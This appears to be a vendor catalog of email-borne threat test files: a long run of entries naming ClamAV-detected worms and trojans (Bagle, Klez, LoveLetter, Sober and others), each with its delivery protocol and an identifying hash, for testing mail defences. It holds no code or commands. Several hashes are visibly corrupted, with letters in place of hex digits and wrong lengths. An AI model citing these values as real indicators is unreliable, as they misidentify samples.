Detailed Description:	This is the email virus Email-Worm.VBS.Brit.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Brit.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.a274ae97_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a274ae9789b9ce9efa04123b69737285. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Wozer.E.fc5b2213.xml
Executive Description:	Email Virus Worm.Wozer.E
Detailed Description:	This is the email virus Worm.Wozer.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc5b22139c102145cb48a1035766c980. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.78f6c62a.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 78f6c62afclba55388deb3aca220e5e5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Tenebris.ten.a6aebdfc_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Tenebris.ten (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Tenebris.ten as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Tenebris.ten. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.f4776425.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f477642546dd6689c82ac94f9fc759ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Yozis.B.4716d37a.xml
Executive Description:	Email Virus VBS.Yozis.B
Detailed Description:	This is the email virus VBS.Yozis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4716d37a148c503c20213828bcc5028. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WORM.Music.1bb12d29.xml
Executive Description:	Email Virus WORM.Music
Detailed Description:	This is the email virus WORM.Music as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1bb12d29598a927b4e258e2b8b749b5b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sober.D.f258a945_IPv6.xml
Executive Description:	Email Virus Worm.Sober.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sober.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f258a945eace78df510ca7bdad0ec8fb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zokrim.a.8d77fad4_IPv6.xml
Executive Description:	Email Virus Worm.Zokrim.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zokrim.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d77fad471e9580d6f5ac5339c379c4a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zuoning.zuo.4f600be9.xml
Executive Description:	Email Virus Email-Worm.VBS.Zuoning.zuo
Detailed Description:	This is the email virus Email-Worm.VBS.Zuoning.zuo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zuoning.zuo. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kondrik.c.b53b531a.xml
Executive Description:	Email Virus Worm.Kondrik.c
Detailed Description:	This is the email virus Worm.Kondrik.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b53b531a934088b5fb13e6e47ced4acf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noverus.ea2lee79_IPv6.xml
Executive Description:	Email Virus Worm.Noverus (IPv6 Version)
Detailed Description:	This is the email virus Worm.Noverus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ea2lee7970334523d951b30a2c41e528. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Updater.A.a233033b_IPv6.xml
Executive Description:	Email Virus Worm.Updater.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Updater.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a233033bcfd2dc7aalbe4b41eb6af33b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mawanelia.e7dac122.xml
Executive Description:	Email Virus Worm.Mawanelia
Detailed Description:	This is the email virus Worm.Mawanelia as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7dac122cc7bb5b71d47421220397ac5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Clown.a.c560bbd3.xml
Executive Description:	Email Virus Worm.Clown.a
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c560bbd3a5e98519b57fc3f91a90eb94. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fintas.b.b.42bleb95_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Fintas.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Fintas.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fintas.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.IRC.Ainjo.A.88e00495_IPv6.xml
Executive Description:	Email Virus Worm.IRC.Ainjo.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.IRC.Ainjo.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88e0049522a19b608ba005a360a03516. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.d4698441_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4698441dae48bb31b35aa2f5f7d78ab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Platnico.2348cd41_IPv6.xml
Executive Description:	Email Virus VBS.Platnico (IPv6 Version)
Detailed Description:	This is the email virus VBS.Platnico as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2348cd418c0e6a9205cda6d8e8acc86e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nimrod.a.a.5ca2b790_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nimrod.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nimrod.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nimrod.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.24c49b83_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 24c49b83178f8aafef5f7ba6aff2ea970. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.419a92b5.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 419a92b58266b079e6f36bc2a541e484. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Icecubes.B.6d957f8f.xml
Executive Description:	Email Virus Worm.Icecubes.B
Detailed Description:	This is the email virus Worm.Icecubes.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d957f8fd04e6ae12db64605a8d0f9a6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Likun.c.cc02d935.xml
Executive Description:	Email Virus Worm.Likun.c
Detailed Description:	This is the email virus Worm.Likun.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cc02d93546cb972bd4708eb7ed140644. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.FreeLove.5a482d04.xml
Executive Description:	Email Virus Worm.FreeLove
Detailed Description:	This is the email virus Worm.FreeLove as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a482d04d8a7a3ef1960df7a15339b0a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.90ad24cc.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90ad24ccff57520fc77bcc4632c3b469. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Yang.yan.afc8fa31_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Yang.yan (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Yang.yan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Yang.yan. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Pinbol.A.056321b1.xml
Executive Description:	Email Virus Trojan.Pinbol.A
Detailed Description:	This is the email virus Trojan.Pinbol.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 056321b10c624667cd88caa4b508d405. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Lubus.A.255d745f_IPv6.xml
Executive Description:	Email Virus VBS.Lubus.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Lubus.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 255d745fade35452be848781ab89db93. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.ZippedFiles.c.c.055fcccc.xml
Executive Description:	Email Virus Email-Worm.Win32.ZippedFiles.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.ZippedFiles.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.ZippedFiles.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wabbin.elc336c3_IPv6.xml
Executive Description:	Email Virus Worm.Wabbin (IPv6 Version)

Detailed Description:	This is the email virus Worm.Wabbin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e1c336c3bdalc256628fbf81eca4b571. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Astrology.ast.f8fe12cl_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Astrology.ast (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Astrology.ast as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Astrology.ast. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Ley.5796104f.xml
Executive Description:	Email Virus Worm.Ley
Detailed Description:	This is the email virus Worm.Ley as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5796104f63c28db78ccd6284df78d777. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.64481.644.2dlcda79_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.64481.644 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.64481.644 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.64481.644. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorena.b.e437aa72_IPv6.xml
Executive Description:	Email Virus Worm.Lorena.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lorena.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e437aa72d627110b5ea7alc29eldeaf7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Arica.d91178df_IPv6.xml
Executive Description:	Email Virus Worm.Arica (IPv6 Version)
Detailed Description:	This is the email virus Worm.Arica as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d91178df0a96efb447d26738c543007d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.de20b9d3_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de20b9d3d7f6863655fd090c43429aea. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mountoni.3fa8d63c.xml
Executive Description:	Email Virus Worm.Mountoni
Detailed Description:	This is the email virus Worm.Mountoni as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3fa8d63cblee3e8855b41bfd4ef71549. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Unicle.57171666_IPv6.xml
Executive Description:	Email Virus Worm.Unicle (IPv6 Version)
Detailed Description:	This is the email virus Worm.Unicle as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5717166651a2059668c2389f02537b3d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorda.7d2654a6.xml
Executive Description:	Email Virus Worm.Lorda
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7d2654a663225951edd5b055bbca5ee4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.8eb3cf7b_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8eb3cf7bdbaaabe88f05c60b7b92d9c0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Likun.b.86e1de0e.xml

Executive Description:	Email Virus Worm.Likun.b
Detailed Description:	This is the email virus Worm.Likun.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 86elde0efbe26db178ffa53ba0a109a2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rays.A.2a53b32f8_IPv6.xml
Executive Description:	Email Virus Worm.Rays.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rays.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2a53b32f891e1ec1bf71a3f3746d4bbb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Cazinat.a.a.15cd1169.xml
Executive Description:	Email Virus Email-Worm.Win32.Cazinat.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Cazinat.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Cazinat.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heffer.a.a.73c0fd80.xml
Executive Description:	Email Virus Email-Worm.Win32.Heffer.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Heffer.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heffer.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.aeacf455_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aeacf4552136015f2feb177f98c6eee2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.1.1.d1b98f7e_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.1.1 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.1.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.1.1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Suppl.Worm_1.7ec3bc06.xml
Executive Description:	Email Virus Trojan.Suppl.Worm_#1
Detailed Description:	This is the email virus Trojan.Suppl.Worm_#1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ec3bc06612a98f7514a0613625b6749. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.f367f2b6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f367f2b696c13a214022b97a49275428. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Desos.b.b.5cef527d.xml
Executive Description:	Email Virus Email-Worm.Win32.Desos.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Desos.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Desos.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Manyx.man.8adcd31a.xml
Executive Description:	Email Virus Email-Worm.Win32.Manyx.man
Detailed Description:	This is the email virus Email-Worm.Win32.Manyx.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Manyx.man. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-dll.c0bf8276_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-dll (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c0bf8276e4089a0a7bdcd06861b53a69. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Quocus.256c8660.xml
Executive Description:	Email Virus Worm.Quocus
Detailed Description:	This is the email virus Worm.Quocus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 256c86605d1aa46c85dc8027103828cf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heather.916b82bd_IPv6.xml
Executive Description:	Email Virus Worm.Heather (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 916b82bdf3f8a9df82e6dc0909c491. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.PornoChat.1391ae35.xml
Executive Description:	Email Virus W95.PornoChat
Detailed Description:	This is the email virus W95.PornoChat as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1391ae359bcc289468dde43885bc2147. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.b5b92d0a.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b5b92d0a2285b0d579939ad6733a98dc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trilissa.e.969548bd.xml
Executive Description:	Email Virus Worm.Trilissa.e
Detailed Description:	This is the email virus Worm.Trilissa.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 969548bd4ddd0e029fc2b5e7f99e4af. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.a.a.d105fadd_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Symten.b.8839d89a_IPv6.xml
Executive Description:	Email Virus Worm.Symten.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Symten.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8839d89a6a18df4ffe5a258db46b3912. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.B.997f3291_IPv6.xml
Executive Description:	Email Virus Worm.Brit.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 997f3291519385aa8b34c5cdc401f834. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.a053ab02.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a053ab02be384ed8072d3215eed12fc8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pikachu.AuExec.715614e0.xml
Executive Description:	Email Virus Worm.Pikachu.AuExec
Detailed Description:	This is the email virus Worm.Pikachu.AuExec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 715614e09261b39dfa439fal326c0cec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Niqim.b6852898_IPv6.xml
Executive Description:	Email Virus Worm.Niqim (IPv6 Version)
Detailed Description:	This is the email virus Worm.Niqim as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b68528982aa31fa8645d8e0afe7c8c5b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.VBS.Himeh.38feac70_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Himeh (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Himeh as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38feac70c16cb209b1e5d1860345f057. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.003.2b9c3bb8.xml
Executive Description:	Email Virus W95.Hybris.PI.003
Detailed Description:	This is the email virus W95.Hybris.PI.003 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b9c3bb86ea6c9973c317e6411e681e8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Postman.a2fb3b08.xml
Executive Description:	Email Virus Worm.Postman
Detailed Description:	This is the email virus Worm.Postman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2fb3b084c896a0d2d1a6adff665f772. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.f.f.58dd01c1_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.F.2e77976d.xml
Executive Description:	Email Virus Worm.Yarner.F
Detailed Description:	This is the email virus Worm.Yarner.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e77976da30bf4450f369e8431e340fa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kelino.A.cd7cf3f0_IPv6.xml
Executive Description:	Email Virus Worm.Kelino.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kelino.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cd7cf3f0f4dd649ce57df0d7b7fab34c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fintas.c.c.6f3c6e4f_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Fintas.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Fintas.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fintas.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.f08dd849_IPv6.xml
Executive Description:	Email Virus Worm.Hatred.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f08dd8493ab094863c3ce953f11f973a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.4977a287_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4977a287ce89dc0193bf4674a74529d9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mylife.h.h.fa93efd3_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Mylife.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Mylife.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mylife.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Indor.b.0c716b79_IPv6.xml
Executive Description:	Email Virus Worm.Indor.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Indor.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c716b79b2ccl1e8789413f97b1070c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.BWG.C.2e728958.xml
Executive Description:	Email Virus Worm.BWG.C
Detailed Description:	This is the email virus Worm.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e728958bfla78054543ab1287933ddc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-4.5ad04ebd_IPv6.xml
Executive Description:	Email Virus Trojan.Killav-4 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Killav-4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ad04ebd3cd2dc09636aa50712b3ecd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.PawPaw.17a522f1_IPv6.xml
Executive Description:	Email Virus Trojan.PawPaw (IPv6 Version)
Detailed Description:	This is the email virus Trojan.PawPaw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17a522f18f8269c147e815373a3a7d20. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
